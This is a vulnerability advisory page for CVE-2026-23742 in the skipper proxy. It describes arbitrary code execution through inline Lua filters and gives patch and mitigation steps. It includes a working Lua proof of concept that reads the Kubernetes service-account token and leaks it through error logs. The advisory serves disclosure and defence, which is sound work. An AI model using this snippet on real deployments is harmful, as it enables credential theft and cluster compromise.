CVE-2026-23742 is a high severity vulnerability with a CVSS score of 8.8. No known exploits currently, and patches are available.
Very low probability of exploitation
EPSS predicts the probability of exploitation in the next 30 days based on real-world threat data, complementing CVSS severity scores with actual risk assessment.
Arbitrary code execution through lua filters.
The default skipper configuration before v0.23 was -lua-sources=inline,file.
The problem starts if untrusted users can create lua filters, because of -lua-sources=inline , for example through a Kubernetes Ingress resource. The configuration inline allows these user to create a script that is able to read the filesystem accessible to the skipper process and if the user has access to read the logs they an read skipper secrets.
Kubernetes example (vulnerability is not limited to Kubernetes)
function request(ctx, params)
local file = io.open('/var/run/secrets/kubernetes.io/serviceaccount/token', 'r')
if file then
local token = file:read('*all')
file:close()
error('[EXFIL] ' .. token) -- Exfiltrate via error logs
end
end
https://github.com/zalando/skipper/releases/tag/v0.23.0 disables Lua by default.
You can reduce support of how you can pass lua filter script data by providing config for lua sources https://opensource.zalando.com/skipper/reference/scripts/#enable-and-disable-lua-sources. For example -lua-sources=file will only be exploitable if the attacker can create a lua script file on the target system.
https://opensource.zalando.com/skipper/reference/scripts/#enable-and-disable-lua-sources
Please cite this page when referencing data from Strobes VI. Proper attribution helps support our vulnerability intelligence research.